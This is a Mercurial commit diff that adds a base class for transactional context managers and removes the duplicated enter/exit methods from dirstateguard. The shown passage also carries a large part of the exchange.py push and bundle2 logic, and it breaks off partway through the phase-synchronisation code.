util: add base class for transactional context managers

We have at least three types with a close() and a release() method
where the close() method is supposed to be called on success and the
release() method is supposed to be called last, whether successful or
not. Two of them (transaction and dirstateguard) already have
identical implementations of __enter__ and __exit__. Let's extract a
base class for this, so we reuse the code and so the third type
(transactionmanager) can also be used as a context manager.

Differential Revision: https://phab.mercurial-scm.org/D392

mercurial/dirstateguard.py

@@ -1,78 +1,69 b''
 # dirstateguard.py - class to allow restoring dirstate after failure
 #
 # Copyright 2005-2007 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 from .i18n import _
 
 from . import (
     error,
+    util,
 )
 
-class dirstateguard(object):
+class dirstateguard(util.transactional):
     '''Restore dirstate at unexpected failure.
 
     At the construction, this class does:
 
     - write current ``repo.dirstate`` out, and
     - save ``.hg/dirstate`` into the backup file
 
     This restores ``.hg/dirstate`` from backup file, if ``release()``
     is invoked before ``close()``.
 
     This just removes the backup file at ``close()`` before ``release()``.
     '''
 
     def __init__(self, repo, name):
         self._repo = repo
         self._active = False
         self._closed = False
         self._backupname = 'dirstate.backup.%s.%d' % (name, id(self))
         repo.dirstate.savebackup(repo.currenttransaction(), self._backupname)
         self._active = True
 
     def __del__(self):
         if self._active: # still active
             # this may occur, even if this class is used correctly:
             # for example, releasing other resources like transaction
             # may raise exception before ``dirstateguard.release`` in
             # ``release(tr, ....)``.
             self._abort()
 
-    def __enter__(self):
-        return self
-
-    def __exit__(self, exc_type, exc_val, exc_tb):
-        try:
-            if exc_type is None:
-                self.close()
-        finally:
-            self.release()
-
     def close(self):
         if not self._active: # already inactivated
             msg = (_("can't close already inactivated backup: %s")
                    % self._backupname)
             raise error.Abort(msg)
 
         self._repo.dirstate.clearbackup(self._repo.currenttransaction(),
                                          self._backupname)
         self._active = False
         self._closed = True
 
     def _abort(self):
         self._repo.dirstate.restorebackup(self._repo.currenttransaction(),
                                            self._backupname)
         self._active = False
 
     def release(self):
         if not self._closed:
             if not self._active: # already inactivated
                 msg = (_("can't release already inactivated backup: %s")
                        % self._backupname)
                 raise error.Abort(msg)
             self._abort()

mercurial/exchange.py

@@ -1,2009 +1,2009 b''
 # exchange.py - utility to exchange data between repos.
 #
 # Copyright 2005-2007 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import errno
 import hashlib
 
 from .i18n import _
 from .node import (
     hex,
     nullid,
 )
 from . import (
     bookmarks as bookmod,
     bundle2,
     changegroup,
     discovery,
     error,
     lock as lockmod,
     obsolete,
     phases,
     pushkey,
     pycompat,
     scmutil,
     sslutil,
     streamclone,
     url as urlmod,
     util,
 )
 
 urlerr = util.urlerr
 urlreq = util.urlreq
 
 # Maps bundle version human names to changegroup versions.
 _bundlespeccgversions = {'v1': '01',
                          'v2': '02',
                          'packed1': 's1',
                          'bundle2': '02', #legacy
                         }
 
 # Compression engines allowed in version 1. THIS SHOULD NEVER CHANGE.
 _bundlespecv1compengines = {'gzip', 'bzip2', 'none'}
 
 def parsebundlespec(repo, spec, strict=True, externalnames=False):
     """Parse a bundle string specification into parts.
 
     Bundle specifications denote a well-defined bundle/exchange format.
     The content of a given specification should not change over time in
     order to ensure that bundles produced by a newer version of Mercurial are
     readable from an older version.
 
     The string currently has the form:
 
        <compression>-<type>[;<parameter0>[;<parameter1>]]
 
     Where <compression> is one of the supported compression formats
     and <type> is (currently) a version string. A ";" can follow the type and
     all text afterwards is interpreted as URI encoded, ";" delimited key=value
     pairs.
 
     If ``strict`` is True (the default) <compression> is required. Otherwise,
     it is optional.
 
     If ``externalnames`` is False (the default), the human-centric names will
     be converted to their internal representation.
 
     Returns a 3-tuple of (compression, version, parameters). Compression will
     be ``None`` if not in strict mode and a compression isn't defined.
 
     An ``InvalidBundleSpecification`` is raised when the specification is
     not syntactically well formed.
 
     An ``UnsupportedBundleSpecification`` is raised when the compression or
     bundle type/version is not recognized.
 
     Note: this function will likely eventually return a more complex data
     structure, including bundle2 part information.
     """
     def parseparams(s):
         if ';' not in s:
             return s, {}
 
         params = {}
         version, paramstr = s.split(';', 1)
 
         for p in paramstr.split(';'):
             if '=' not in p:
                 raise error.InvalidBundleSpecification(
                     _('invalid bundle specification: '
                       'missing "=" in parameter: %s') % p)
 
             key, value = p.split('=', 1)
             key = urlreq.unquote(key)
             value = urlreq.unquote(value)
             params[key] = value
 
         return version, params
 
 
     if strict and '-' not in spec:
         raise error.InvalidBundleSpecification(
                 _('invalid bundle specification; '
                   'must be prefixed with compression: %s') % spec)
 
     if '-' in spec:
         compression, version = spec.split('-', 1)
 
         if compression not in util.compengines.supportedbundlenames:
             raise error.UnsupportedBundleSpecification(
                     _('%s compression is not supported') % compression)
 
         version, params = parseparams(version)
 
         if version not in _bundlespeccgversions:
             raise error.UnsupportedBundleSpecification(
                     _('%s is not a recognized bundle version') % version)
     else:
         # Value could be just the compression or just the version, in which
         # case some defaults are assumed (but only when not in strict mode).
         assert not strict
 
         spec, params = parseparams(spec)
 
         if spec in util.compengines.supportedbundlenames:
             compression = spec
             version = 'v1'
             # Generaldelta repos require v2.
             if 'generaldelta' in repo.requirements:
                 version = 'v2'
             # Modern compression engines require v2.
             if compression not in _bundlespecv1compengines:
                 version = 'v2'
         elif spec in _bundlespeccgversions:
             if spec == 'packed1':
                 compression = 'none'
             else:
                 compression = 'bzip2'
             version = spec
         else:
             raise error.UnsupportedBundleSpecification(
                     _('%s is not a recognized bundle specification') % spec)
 
     # Bundle version 1 only supports a known set of compression engines.
     if version == 'v1' and compression not in _bundlespecv1compengines:
         raise error.UnsupportedBundleSpecification(
             _('compression engine %s is not supported on v1 bundles') %
             compression)
 
     # The specification for packed1 can optionally declare the data formats
     # required to apply it. If we see this metadata, compare against what the
     # repo supports and error if the bundle isn't compatible.
     if version == 'packed1' and 'requirements' in params:
         requirements = set(params['requirements'].split(','))
         missingreqs = requirements - repo.supportedformats
         if missingreqs:
             raise error.UnsupportedBundleSpecification(
                     _('missing support for repository features: %s') %
                       ', '.join(sorted(missingreqs)))
 
     if not externalnames:
         engine = util.compengines.forbundlename(compression)
         compression = engine.bundletype()[1]
         version = _bundlespeccgversions[version]
     return compression, version, params
 
 def readbundle(ui, fh, fname, vfs=None):
     header = changegroup.readexactly(fh, 4)
 
     alg = None
     if not fname:
         fname = "stream"
         if not header.startswith('HG') and header.startswith('\0'):
             fh = changegroup.headerlessfixup(fh, header)
             header = "HG10"
             alg = 'UN'
     elif vfs:
         fname = vfs.join(fname)
 
     magic, version = header[0:2], header[2:4]
 
     if magic != 'HG':
         raise error.Abort(_('%s: not a Mercurial bundle') % fname)
     if version == '10':
         if alg is None:
             alg = changegroup.readexactly(fh, 2)
         return changegroup.cg1unpacker(fh, alg)
     elif version.startswith('2'):
         return bundle2.getunbundler(ui, fh, magicstring=magic + version)
     elif version == 'S1':
         return streamclone.streamcloneapplier(fh)
     else:
         raise error.Abort(_('%s: unknown bundle version %s') % (fname, version))
 
 def getbundlespec(ui, fh):
     """Infer the bundlespec from a bundle file handle.
 
     The input file handle is seeked and the original seek position is not
     restored.
     """
     def speccompression(alg):
         try:
             return util.compengines.forbundletype(alg).bundletype()[0]
         except KeyError:
             return None
 
     b = readbundle(ui, fh, None)
     if isinstance(b, changegroup.cg1unpacker):
         alg = b._type
         if alg == '_truncatedBZ':
             alg = 'BZ'
         comp = speccompression(alg)
         if not comp:
             raise error.Abort(_('unknown compression algorithm: %s') % alg)
         return '%s-v1' % comp
     elif isinstance(b, bundle2.unbundle20):
         if 'Compression' in b.params:
             comp = speccompression(b.params['Compression'])
             if not comp:
                 raise error.Abort(_('unknown compression algorithm: %s') % comp)
         else:
             comp = 'none'
 
         version = None
         for part in b.iterparts():
             if part.type == 'changegroup':
                 version = part.params['version']
                 if version in ('01', '02'):
                     version = 'v2'
                 else:
                     raise error.Abort(_('changegroup version %s does not have '
                                         'a known bundlespec') % version,
                                       hint=_('try upgrading your Mercurial '
                                               'client'))
 
         if not version:
             raise error.Abort(_('could not identify changegroup version in '
                                 'bundle'))
 
         return '%s-%s' % (comp, version)
     elif isinstance(b, streamclone.streamcloneapplier):
         requirements = streamclone.readbundle1header(fh)[2]
         params = 'requirements=%s' % ','.join(sorted(requirements))
         return 'none-packed1;%s' % urlreq.quote(params)
     else:
         raise error.Abort(_('unknown bundle type: %s') % b)
 
 def _computeoutgoing(repo, heads, common):
     """Computes which revs are outgoing given a set of common
     and a set of heads.
 
     This is a separate function so extensions can have access to
     the logic.
 
     Returns a discovery.outgoing object.
     """
     cl = repo.changelog
     if common:
         hasnode = cl.hasnode
         common = [n for n in common if hasnode(n)]
     else:
         common = [nullid]
     if not heads:
         heads = cl.heads()
     return discovery.outgoing(repo, common, heads)
 
 def _forcebundle1(op):
     """return true if a pull/push must use bundle1
 
     This function is used to allow testing of the older bundle version"""
     ui = op.repo.ui
     forcebundle1 = False
     # The goal is this config is to allow developer to choose the bundle
     # version used during exchanged. This is especially handy during test.
     # Value is a list of bundle version to be picked from, highest version
     # should be used.
     #
     # developer config: devel.legacy.exchange
     exchange = ui.configlist('devel', 'legacy.exchange')
     forcebundle1 = 'bundle2' not in exchange and 'bundle1' in exchange
     return forcebundle1 or not op.remote.capable('bundle2')
 
 class pushoperation(object):
     """A object that represent a single push operation
 
     Its purpose is to carry push related state and very common operations.
 
     A new pushoperation should be created at the beginning of each push and
     discarded afterward.
     """
 
     def __init__(self, repo, remote, force=False, revs=None, newbranch=False,
                  bookmarks=()):
         # repo we push from
         self.repo = repo
         self.ui = repo.ui
         # repo we push to
         self.remote = remote
         # force option provided
         self.force = force
         # revs to be pushed (None is "all")
         self.revs = revs
         # bookmark explicitly pushed
         self.bookmarks = bookmarks
         # allow push of new branch
         self.newbranch = newbranch
         # step already performed
         # (used to check what steps have been already performed through bundle2)
         self.stepsdone = set()
         # Integer version of the changegroup push result
         # - None means nothing to push
         # - 0 means HTTP error
         # - 1 means we pushed and remote head count is unchanged *or*
         #   we have outgoing changesets but refused to push
         # - other values as described by addchangegroup()
         self.cgresult = None
         # Boolean value for the bookmark push
         self.bkresult = None
         # discover.outgoing object (contains common and outgoing data)
         self.outgoing = None
         # all remote topological heads before the push
         self.remoteheads = None
         # Details of the remote branch pre and post push
         #
         # mapping: {'branch': ([remoteheads],
         #                      [newheads],
         #                      [unsyncedheads],
         #                      [discardedheads])}
         # - branch: the branch name
         # - remoteheads: the list of remote heads known locally
         #                None if the branch is new
         # - newheads: the new remote heads (known locally) with outgoing pushed
         # - unsyncedheads: the list of remote heads unknown locally.
         # - discardedheads: the list of remote heads made obsolete by the push
         self.pushbranchmap = None
         # testable as a boolean indicating if any nodes are missing locally.
         self.incoming = None
         # phases changes that must be pushed along side the changesets
         self.outdatedphases = None
         # phases changes that must be pushed if changeset push fails
         self.fallbackoutdatedphases = None
         # outgoing obsmarkers
         self.outobsmarkers = set()
         # outgoing bookmarks
         self.outbookmarks = []
         # transaction manager
         self.trmanager = None
         # map { pushkey partid -> callback handling failure}
         # used to handle exception from mandatory pushkey part failure
         self.pkfailcb = {}
 
     @util.propertycache
     def futureheads(self):
         """future remote heads if the changeset push succeeds"""
         return self.outgoing.missingheads
 
     @util.propertycache
     def fallbackheads(self):
         """future remote heads if the changeset push fails"""
         if self.revs is None:
             # not target to push, all common are relevant
             return self.outgoing.commonheads
         unfi = self.repo.unfiltered()
         # I want cheads = heads(::missingheads and ::commonheads)
         # (missingheads is revs with secret changeset filtered out)
         #
         # This can be expressed as:
         #     cheads = ( (missingheads and ::commonheads)
         #              + (commonheads and ::missingheads))"
         #              )
         #
         # while trying to push we already computed the following:
         #     common = (::commonheads)
         #     missing = ((commonheads::missingheads) - commonheads)
         #
         # We can pick:
         # * missingheads part of common (::commonheads)
         common = self.outgoing.common
         nm = self.repo.changelog.nodemap
         cheads = [node for node in self.revs if nm[node] in common]
         # and
         # * commonheads parents on missing
         revset = unfi.set('%ln and parents(roots(%ln))',
                          self.outgoing.commonheads,
                          self.outgoing.missing)
         cheads.extend(c.node() for c in revset)
         return cheads
 
     @property
     def commonheads(self):
         """set of all common heads after changeset bundle push"""
         if self.cgresult:
             return self.futureheads
         else:
             return self.fallbackheads
 
 # mapping of message used when pushing bookmark
 bookmsgmap = {'update': (_("updating bookmark %s\n"),
                          _('updating bookmark %s failed!\n')),
               'export': (_("exporting bookmark %s\n"),
                          _('exporting bookmark %s failed!\n')),
               'delete': (_("deleting remote bookmark %s\n"),
                          _('deleting remote bookmark %s failed!\n')),
               }
 
 
 def push(repo, remote, force=False, revs=None, newbranch=False, bookmarks=(),
          opargs=None):
     '''Push outgoing changesets (limited by revs) from a local
     repository to remote. Return an integer:
       - None means nothing to push
       - 0 means HTTP error
       - 1 means we pushed and remote head count is unchanged *or*
         we have outgoing changesets but refused to push
       - other values as described by addchangegroup()
     '''
     if opargs is None:
         opargs = {}
     pushop = pushoperation(repo, remote, force, revs, newbranch, bookmarks,
                            **opargs)
     if pushop.remote.local():
         missing = (set(pushop.repo.requirements)
                    - pushop.remote.local().supported)
         if missing:
             msg = _("required features are not"
                     " supported in the destination:"
                     " %s") % (', '.join(sorted(missing)))
             raise error.Abort(msg)
 
     if not pushop.remote.canpush():
         raise error.Abort(_("destination does not support push"))
 
     if not pushop.remote.capable('unbundle'):
         raise error.Abort(_('cannot push: destination does not support the '
                             'unbundle wire protocol command'))
 
     # get lock as we might write phase data
     wlock = lock = None
     try:
         # bundle2 push may receive a reply bundle touching bookmarks or other
         # things requiring the wlock. Take it now to ensure proper ordering.
         maypushback = pushop.ui.configbool('experimental', 'bundle2.pushback')
         if (not _forcebundle1(pushop)) and maypushback:
             wlock = pushop.repo.wlock()
         lock = pushop.repo.lock()
         pushop.trmanager = transactionmanager(pushop.repo,
                                               'push-response',
                                               pushop.remote.url())
     except IOError as err:
         if err.errno != errno.EACCES:
             raise
         # source repo cannot be locked.
         # We do not abort the push, but just disable the local phase
         # synchronisation.
         msg = 'cannot lock source repository: %s\n' % err
         pushop.ui.debug(msg)
 
     try:
         pushop.repo.checkpush(pushop)
         _pushdiscovery(pushop)
         if not _forcebundle1(pushop):
             _pushbundle2(pushop)
         _pushchangeset(pushop)
         _pushsyncphase(pushop)
         _pushobsolete(pushop)
         _pushbookmark(pushop)
 
         if pushop.trmanager:
             pushop.trmanager.close()
     finally:
         if pushop.trmanager:
             pushop.trmanager.release()
         if lock is not None:
             lock.release()
         if wlock is not None:
             wlock.release()
 
     return pushop
 
 # list of steps to perform discovery before push
 pushdiscoveryorder = []
 
 # Mapping between step name and function
 #
 # This exists to help extensions wrap steps if necessary
 pushdiscoverymapping = {}
 
 def pushdiscovery(stepname):
     """decorator for function performing discovery before push
 
     The function is added to the step -> function mapping and appended to the
     list of steps.  Beware that decorated function will be added in order (this
     may matter).
 
     You can only use this decorator for a new step, if you want to wrap a step
     from an extension, change the pushdiscovery dictionary directly."""
     def dec(func):
         assert stepname not in pushdiscoverymapping
         pushdiscoverymapping[stepname] = func
         pushdiscoveryorder.append(stepname)
         return func
     return dec
 
 def _pushdiscovery(pushop):
     """Run all discovery steps"""
     for stepname in pushdiscoveryorder:
         step = pushdiscoverymapping[stepname]
         step(pushop)
 
 @pushdiscovery('changeset')
 def _pushdiscoverychangeset(pushop):
     """discover the changeset that need to be pushed"""
     fci = discovery.findcommonincoming
     commoninc = fci(pushop.repo, pushop.remote, force=pushop.force)
     common, inc, remoteheads = commoninc
     fco = discovery.findcommonoutgoing
     outgoing = fco(pushop.repo, pushop.remote, onlyheads=pushop.revs,
                    commoninc=commoninc, force=pushop.force)
     pushop.outgoing = outgoing
     pushop.remoteheads = remoteheads
     pushop.incoming = inc
 
 @pushdiscovery('phase')
 def _pushdiscoveryphase(pushop):
     """discover the phase that needs to be pushed
 
     (computed for both success and failure case for changesets push)"""
     outgoing = pushop.outgoing
     unfi = pushop.repo.unfiltered()
     remotephases = pushop.remote.listkeys('phases')
     publishing = remotephases.get('publishing', False)
     if (pushop.ui.configbool('ui', '_usedassubrepo')
         and remotephases    # server supports phases
         and not pushop.outgoing.missing # no changesets to be pushed
         and publishing):
         # When:
         # - this is a subrepo push
         # - and remote support phase
         # - and no changeset are to be pushed
         # - and remote is publishing
         # We may be in issue 3871 case!
         # We drop the possible phase synchronisation done by
         # courtesy to publish changesets possibly locally draft
         # on the remote.
         remotephases = {'publishing': 'True'}
     ana = phases.analyzeremotephases(pushop.repo,
                                      pushop.fallbackheads,
                                      remotephases)
     pheads, droots = ana
     extracond = ''
     if not publishing:
         extracond = ' and public()'
     revset = 'heads((%%ln::%%ln) %s)' % extracond
     # Get the list of all revs draft on remote by public here.
     # XXX Beware that revset break if droots is not strictly
     # XXX root we may want to ensure it is but it is costly
     fallback = list(unfi.set(revset, droots, pushop.fallbackheads))
     if not outgoing.missing:
         future = fallback
     else:
         # adds changeset we are going to push as draft
         #
         # should not be necessary for publishing server, but because of an
         # issue fixed in xxxxx we have to do it anyway.
         fdroots = list(unfi.set('roots(%ln  + %ln::)',
                        outgoing.missing, droots))
         fdroots = [f.node() for f in fdroots]
         future = list(unfi.set(revset, fdroots, pushop.futureheads))
     pushop.outdatedphases = future
     pushop.fallbackoutdatedphases = fallback
 
 @pushdiscovery('obsmarker')
 def _pushdiscoveryobsmarkers(pushop):
     if (obsolete.isenabled(pushop.repo, obsolete.exchangeopt)
         and pushop.repo.obsstore
         and 'obsolete' in pushop.remote.listkeys('namespaces')):
         repo = pushop.repo
         # very naive computation, that can be quite expensive on big repo.
         # However: evolution is currently slow on them anyway.
         nodes = (c.node() for c in repo.set('::%ln', pushop.futureheads))
         pushop.outobsmarkers = pushop.repo.obsstore.relevantmarkers(nodes)
 
 @pushdiscovery('bookmarks')
 def _pushdiscoverybookmarks(pushop):
     ui = pushop.ui
     repo = pushop.repo.unfiltered()
     remote = pushop.remote
     ui.debug("checking for updated bookmarks\n")
     ancestors = ()
     if pushop.revs:
         revnums = map(repo.changelog.rev, pushop.revs)
         ancestors = repo.changelog.ancestors(revnums, inclusive=True)
     remotebookmark = remote.listkeys('bookmarks')
 
     explicit = set([repo._bookmarks.expandname(bookmark)
                     for bookmark in pushop.bookmarks])
 
     remotebookmark = bookmod.unhexlifybookmarks(remotebookmark)
     comp = bookmod.comparebookmarks(repo, repo._bookmarks, remotebookmark)
 
     def safehex(x):
         if x is None:
             return x
         return hex(x)
 
     def hexifycompbookmarks(bookmarks):
         for b, scid, dcid in bookmarks:
             yield b, safehex(scid), safehex(dcid)
 
     comp = [hexifycompbookmarks(marks) for marks in comp]
     addsrc, adddst, advsrc, advdst, diverge, differ, invalid, same = comp
 
     for b, scid, dcid in advsrc:
         if b in explicit:
             explicit.remove(b)
         if not ancestors or repo[scid].rev() in ancestors:
             pushop.outbookmarks.append((b, dcid, scid))
     # search added bookmark
     for b, scid, dcid in addsrc:
         if b in explicit:
             explicit.remove(b)
             pushop.outbookmarks.append((b, '', scid))
     # search for overwritten bookmark
     for b, scid, dcid in list(advdst) + list(diverge) + list(differ):
         if b in explicit:
             explicit.remove(b)
             pushop.outbookmarks.append((b, dcid, scid))
     # search for bookmark to delete
     for b, scid, dcid in adddst:
         if b in explicit:
             explicit.remove(b)
             # treat as "deleted locally"
             pushop.outbookmarks.append((b, dcid, ''))
     # identical bookmarks shouldn't get reported
     for b, scid, dcid in same:
         if b in explicit:
             explicit.remove(b)
 
     if explicit:
         explicit = sorted(explicit)
         # we should probably list all of them
         ui.warn(_('bookmark %s does not exist on the local '
                   'or remote repository!\n') % explicit[0])
         pushop.bkresult = 2
 
     pushop.outbookmarks.sort()
 
 def _pushcheckoutgoing(pushop):
     outgoing = pushop.outgoing
     unfi = pushop.repo.unfiltered()
     if not outgoing.missing:
         # nothing to push
         scmutil.nochangesfound(unfi.ui, unfi, outgoing.excluded)
         return False
     # something to push
     if not pushop.force:
         # if repo.obsstore == False --> no obsolete
         # then, save the iteration
         if unfi.obsstore:
             # this message are here for 80 char limit reason
             mso = _("push includes obsolete changeset: %s!")
             mspd = _("push includes phase-divergent changeset: %s!")
             mscd = _("push includes content-divergent changeset: %s!")
             mst = {"orphan": _("push includes orphan changeset: %s!"),
                    "phase-divergent": mspd,
                    "content-divergent": mscd}
             # If we are to push if there is at least one
             # obsolete or unstable changeset in missing, at
             # least one of the missinghead will be obsolete or
             # unstable. So checking heads only is ok
             for node in outgoing.missingheads:
                 ctx = unfi[node]
                 if ctx.obsolete():
                     raise error.Abort(mso % ctx)
                 elif ctx.isunstable():
                     # TODO print more than one instability in the abort
                     # message
                     raise error.Abort(mst[ctx.instabilities()[0]] % ctx)
 
         discovery.checkheads(pushop)
     return True
 
 # List of names of steps to perform for an outgoing bundle2, order matters.
 b2partsgenorder = []
 
 # Mapping between step name and function
 #
 # This exists to help extensions wrap steps if necessary
 b2partsgenmapping = {}
 
 def b2partsgenerator(stepname, idx=None):
     """decorator for function generating bundle2 part
 
     The function is added to the step -> function mapping and appended to the
     list of steps.  Beware that decorated functions will be added in order
     (this may matter).
 
     You can only use this decorator for new steps, if you want to wrap a step
     from an extension, attack the b2partsgenmapping dictionary directly."""
     def dec(func):
         assert stepname not in b2partsgenmapping
         b2partsgenmapping[stepname] = func
         if idx is None:
             b2partsgenorder.append(stepname)
         else:
             b2partsgenorder.insert(idx, stepname)
         return func
     return dec
 
 def _pushb2ctxcheckheads(pushop, bundler):
     """Generate race condition checking parts
 
     Exists as an independent function to aid extensions
     """
     # * 'force' do not check for push race,
     # * if we don't push anything, there are nothing to check.
     if not pushop.force and pushop.outgoing.missingheads:
         allowunrelated = 'related' in bundler.capabilities.get('checkheads', ())
         emptyremote = pushop.pushbranchmap is None
         if not allowunrelated or emptyremote:
             bundler.newpart('check:heads', data=iter(pushop.remoteheads))
         else:
             affected = set()
             for branch, heads in pushop.pushbranchmap.iteritems():
                 remoteheads, newheads, unsyncedheads, discardedheads = heads
                 if remoteheads is not None:
                     remote = set(remoteheads)
                     affected |= set(discardedheads) & remote
                     affected |= remote - set(newheads)
             if affected:
                 data = iter(sorted(affected))
                 bundler.newpart('check:updated-heads', data=data)
 
 @b2partsgenerator('changeset')
 def _pushb2ctx(pushop, bundler):
     """handle changegroup push through bundle2
 
     addchangegroup result is stored in the ``pushop.cgresult`` attribute.
     """
     if 'changesets' in pushop.stepsdone:
         return
     pushop.stepsdone.add('changesets')
     # Send known heads to the server for race detection.
     if not _pushcheckoutgoing(pushop):
         return
     pushop.repo.prepushoutgoinghooks(pushop)
 
     _pushb2ctxcheckheads(pushop, bundler)
 
     b2caps = bundle2.bundle2caps(pushop.remote)
     version = '01'
     cgversions = b2caps.get('changegroup')
     if cgversions:  # 3.1 and 3.2 ship with an empty value
         cgversions = [v for v in cgversions
                       if v in changegroup.supportedoutgoingversions(
                           pushop.repo)]
         if not cgversions:
             raise ValueError(_('no common changegroup version'))
         version = max(cgversions)
     cg = changegroup.getlocalchangegroupraw(pushop.repo, 'push',
                                             pushop.outgoing,
                                             version=version)
     cgpart = bundler.newpart('changegroup', data=cg)
     if cgversions:
         cgpart.addparam('version', version)
     if 'treemanifest' in pushop.repo.requirements:
         cgpart.addparam('treemanifest', '1')
     def handlereply(op):
         """extract addchangegroup returns from server reply"""
         cgreplies = op.records.getreplies(cgpart.id)
         assert len(cgreplies['changegroup']) == 1
         pushop.cgresult = cgreplies['changegroup'][0]['return']
     return handlereply
 
 @b2partsgenerator('phase')
 def _pushb2phases(pushop, bundler):
     """handle phase push through bundle2"""
     if 'phases' in pushop.stepsdone:
         return
     b2caps = bundle2.bundle2caps(pushop.remote)
     if not 'pushkey' in b2caps:
         return
     pushop.stepsdone.add('phases')
     part2node = []
 
     def handlefailure(pushop, exc):
         targetid = int(exc.partid)
         for partid, node in part2node:
             if partid == targetid:
                 raise error.Abort(_('updating %s to public failed') % node)
 
     enc = pushkey.encode
     for newremotehead in pushop.outdatedphases:
         part = bundler.newpart('pushkey')
         part.addparam('namespace', enc('phases'))
         part.addparam('key', enc(newremotehead.hex()))
         part.addparam('old', enc(str(phases.draft)))
         part.addparam('new', enc(str(phases.public)))
         part2node.append((part.id, newremotehead))
         pushop.pkfailcb[part.id] = handlefailure
 
     def handlereply(op):
         for partid, node in part2node:
             partrep = op.records.getreplies(partid)
             results = partrep['pushkey']
             assert len(results) <= 1
             msg = None
             if not results:
                 msg = _('server ignored update of %s to public!\n') % node
             elif not int(results[0]['return']):
                 msg = _('updating %s to public failed!\n') % node
             if msg is not None:
                 pushop.ui.warn(msg)
     return handlereply
 
 @b2partsgenerator('obsmarkers')
 def _pushb2obsmarkers(pushop, bundler):
     if 'obsmarkers' in pushop.stepsdone:
         return
     remoteversions = bundle2.obsmarkersversion(bundler.capabilities)
     if obsolete.commonversion(remoteversions) is None:
         return
     pushop.stepsdone.add('obsmarkers')
     if pushop.outobsmarkers:
         markers = sorted(pushop.outobsmarkers)
         bundle2.buildobsmarkerspart(bundler, markers)
 
 @b2partsgenerator('bookmarks')
 def _pushb2bookmarks(pushop, bundler):
     """handle bookmark push through bundle2"""
     if 'bookmarks' in pushop.stepsdone:
         return
     b2caps = bundle2.bundle2caps(pushop.remote)
     if 'pushkey' not in b2caps:
         return
     pushop.stepsdone.add('bookmarks')
     part2book = []
     enc = pushkey.encode
 
     def handlefailure(pushop, exc):
         targetid = int(exc.partid)
         for partid, book, action in part2book:
             if partid == targetid:
                 raise error.Abort(bookmsgmap[action][1].rstrip() % book)
         # we should not be called for part we did not generated
         assert False
 
     for book, old, new in pushop.outbookmarks:
         part = bundler.newpart('pushkey')
         part.addparam('namespace', enc('bookmarks'))
         part.addparam('key', enc(book))
         part.addparam('old', enc(old))
         part.addparam('new', enc(new))
         action = 'update'
         if not old:
             action = 'export'
         elif not new:
             action = 'delete'
         part2book.append((part.id, book, action))
         pushop.pkfailcb[part.id] = handlefailure
 
     def handlereply(op):
         ui = pushop.ui
         for partid, book, action in part2book:
             partrep = op.records.getreplies(partid)
             results = partrep['pushkey']
             assert len(results) <= 1
             if not results:
                 pushop.ui.warn(_('server ignored bookmark %s update\n') % book)
             else:
                 ret = int(results[0]['return'])
                 if ret:
                     ui.status(bookmsgmap[action][0] % book)
                 else:
                     ui.warn(bookmsgmap[action][1] % book)
                     if pushop.bkresult is not None:
                         pushop.bkresult = 1
     return handlereply
 
 @b2partsgenerator('pushvars', idx=0)
 def _getbundlesendvars(pushop, bundler):
     '''send shellvars via bundle2'''
     if getattr(pushop.repo, '_shellvars', ()):
         part = bundler.newpart('pushvars')
 
         for key, value in pushop.repo._shellvars.iteritems():
             part.addparam(key, value, mandatory=False)
 
 def _pushbundle2(pushop):
     """push data to the remote using bundle2
 
     The only currently supported type of data is changegroup but this will
     evolve in the future."""
     bundler = bundle2.bundle20(pushop.ui, bundle2.bundle2caps(pushop.remote))
     pushback = (pushop.trmanager
                 and pushop.ui.configbool('experimental', 'bundle2.pushback'))
 
     # create reply capability
     capsblob = bundle2.encodecaps(bundle2.getrepocaps(pushop.repo,
                                                       allowpushback=pushback))
     bundler.newpart('replycaps', data=capsblob)
     replyhandlers = []
     for partgenname in b2partsgenorder:
         partgen = b2partsgenmapping[partgenname]
         ret = partgen(pushop, bundler)
         if callable(ret):
             replyhandlers.append(ret)
     # do not push if nothing to push
     if bundler.nbparts <= 1:
         return
     stream = util.chunkbuffer(bundler.getchunks())
     try:
         try:
             reply = pushop.remote.unbundle(
                 stream, ['force'], pushop.remote.url())
         except error.BundleValueError as exc:
             raise error.Abort(_('missing support for %s') % exc)
         try:
             trgetter = None
             if pushback:
                 trgetter = pushop.trmanager.transaction
             op = bundle2.processbundle(pushop.repo, reply, trgetter)
         except error.BundleValueError as exc:
             raise error.Abort(_('missing support for %s') % exc)
         except bundle2.AbortFromPart as exc:
             pushop.ui.status(_('remote: %s\n') % exc)
             if exc.hint is not None:
                 pushop.ui.status(_('remote: %s\n') % ('(%s)' % exc.hint))
             raise error.Abort(_('push failed on remote'))
     except error.PushkeyFailed as exc:
         partid = int(exc.partid)
         if partid not in pushop.pkfailcb:
             raise
         pushop.pkfailcb[partid](pushop, exc)
     for rephand in replyhandlers:
         rephand(op)
 
 def _pushchangeset(pushop):
     """Make the actual push of changeset bundle to remote repo"""
     if 'changesets' in pushop.stepsdone:
         return
     pushop.stepsdone.add('changesets')
     if not _pushcheckoutgoing(pushop):
         return
 
     # Should have verified this in push().
     assert pushop.remote.capable('unbundle')
 
     pushop.repo.prepushoutgoinghooks(pushop)
     outgoing = pushop.outgoing
     # TODO: get bundlecaps from remote
     bundlecaps = None
     # create a changegroup from local
     if pushop.revs is None and not (outgoing.excluded
                             or pushop.repo.changelog.filteredrevs):
         # push everything,
         # use the fast path, no race possible on push
         bundler = changegroup.cg1packer(pushop.repo, bundlecaps)
         cg = changegroup.getsubset(pushop.repo,
                                    outgoing,
                                    bundler,
                                    'push',
                                    fastpath=True)
     else:
         cg = changegroup.getchangegroup(pushop.repo, 'push', outgoing,
                                         bundlecaps=bundlecaps)
 
     # apply changegroup to remote
     # local repo finds heads on server, finds out what
     # revs it must push. once revs transferred, if server
     # finds it has different heads (someone else won
     # commit/push race), server aborts.
     if pushop.force:
         remoteheads = ['force']
     else:
         remoteheads = pushop.remoteheads
     # ssh: return remote's addchangegroup()
     # http: return remote's addchangegroup() or 0 for error
     pushop.cgresult = pushop.remote.unbundle(cg, remoteheads,
                                         pushop.repo.url())
 
 def _pushsyncphase(pushop):
     """synchronise phase information locally and remotely"""
     cheads = pushop.commonheads
     # even when we don't push, exchanging phase data is useful
     remotephases = pushop.remote.listkeys('phases')
     if (pushop.ui.configbool('ui', '_usedassubrepo')
         and remotephases    # server supports phases
